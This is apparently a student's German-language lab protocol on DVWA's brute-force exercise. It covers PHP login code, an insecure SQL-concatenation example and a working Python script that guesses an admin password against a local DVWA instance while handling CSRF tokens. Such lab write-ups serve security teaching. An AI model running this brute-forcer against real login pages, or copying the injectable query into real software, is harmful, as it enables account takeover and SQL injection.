

Cebrail Demir 4aWi

DVWA-Protokoll

[Brute Force 3](#_Toc189212989)

# Brute Force

// Sanitise username input

$user = $\_POST[ 'username' ];

$user = stripslashes( $user );

$user = ((isset($GLOBALS["\_\_\_mysqli\_ston"]) && is\_object($GLOBALS["\_\_\_mysqli\_ston"])) ? mysqli\_real\_escape\_string($GLOBALS["\_\_\_mysqli\_ston"], $user ) : ((trigger\_error("[MySQLConverterToo] Fix the mysql\_escape\_string() call! This code does not work.", E\_USER\_ERROR)) ? "" : ""));

// Sanitise password input

$pass = $\_POST[ 'password' ];

$pass = stripslashes( $pass );

$pass = ((isset($GLOBALS["\_\_\_mysqli\_ston"]) && is\_object($GLOBALS["\_\_\_mysqli\_ston"])) ? mysqli\_real\_escape\_string($GLOBALS["\_\_\_mysqli\_ston"], $pass ) : ((trigger\_error("[MySQLConverterToo] Fix the mysql\_escape\_string() call! This code does not work.", E\_USER\_ERROR)) ? "" : ""));

$pass = md5( $pass );

// Default values

$total\_failed\_login = 3;

$lockout\_time = 15;

$account\_locked = false;

// Check the database (Check user information)

$data = $db->prepare( 'SELECT failed\_login, last\_login FROM users WHERE user = (:user) LIMIT 1;' );

$data->bindParam( ':user', $user, PDO::PARAM\_STR );

$data->execute();

$row = $data->fetch();

Theorie:

Brute-Force-Angriffe beinhalten den Versuch eines Angreifers, Zugang zu einem System zu erlangen, indem er wiederholt verschiedene Kombinationen von Benutzernamen und Passwörtern ausprobiert.

Beispiel 1:

Der Angreifer könnte eine Webseite attackieren, indem er bekannte Seiten ausprobiert und überprüft, ob sie existieren.

Brute Force PHP-Schnipsel:

GET-Parameter für Benutzeranmeldeinformationen:

$user = $\_GET['username'];

$pass = $\_GET['password'];

Unsicherheit: Die Verwendung von GET-Parametern ist riskant, da sie in der URL sichtbar sind und leicht abgefangen oder manipuliert werden können.

Direkte SQL-Zusammensetzung:

$query = "SELECT \* FROM users WHERE user = '$user' AND password = '$pass';";

Unsicherheit: Die direkte Zusammensetzung von SQL-Abfragen macht die Anwendung anfällig für SQL-Injektionen, da Angriffe durch Einfügen von schädlichem SQL-Code in die Eingabefelder möglich sind.

Fehlen von Sicherheitsprüfungen:

Es gibt keine Überprüfung auf Anti-CSRF-Token oder Begrenzung fehlgeschlagener Anmeldeversuche, was die Anwendung anfälliger für Brute-Force-Angriffe macht.

# Brute-Force-Angriff-Beispiel

Dieser Code führt einen Brute-Force-Angriff auf die Login-Seite der **Damn Vulnerable Web Application (DVWA)** durch. Mithilfe der requests-Bibliothek werden Passwörter aus einer Liste systematisch ausprobiert, bis das korrekte Passwort gefunden wird. Dabei wird auch ein CSRF-Token berücksichtigt, falls die DVWA-Seite eines erfordert, um die Authentifizierung erfolgreich zu simulieren. Der Angriff richtet sich auf die lokale DVWA-Instanz unter http://10.115.1.6:4280.

import requests

from bs4 import BeautifulSoup

def get\_csrf\_token(session, url):

response = session.get(url)

soup = BeautifulSoup(response.text, 'html.parser')

token = soup.find('input', {'name': 'user\_token'})

return token['value'] if token else None

def brute\_force\_dvwa(url, username, password\_list):

login\_url = f"{url}/login.php"

session = requests.Session()

for password in password\_list:

csrf\_token = get\_csrf\_token(session, login\_url)

if csrf\_token:

data = {

'username': username,

'password': password,

'Login': 'Login',

'user\_token': csrf\_token

}

else:

data = {

'username': username,

'password': password,

'Login': 'Login'

}

response = session.post(login\_url, data=data)

if "Login failed" not in response.text:

print(f"[+] Erfolgreich eingeloggt mit: {password}")

return password

print("[-] Keine Treffer in der Passwortliste.")

return None

if \_\_name\_\_ == "\_\_main\_\_":

dvwa\_url = "http://10.115.1.6:4280"

user = "admin"

passwords = ["123456", "password", "admin", "letmein", "password123"]

brute\_force\_dvwa(dvwa\_url, user, passwords)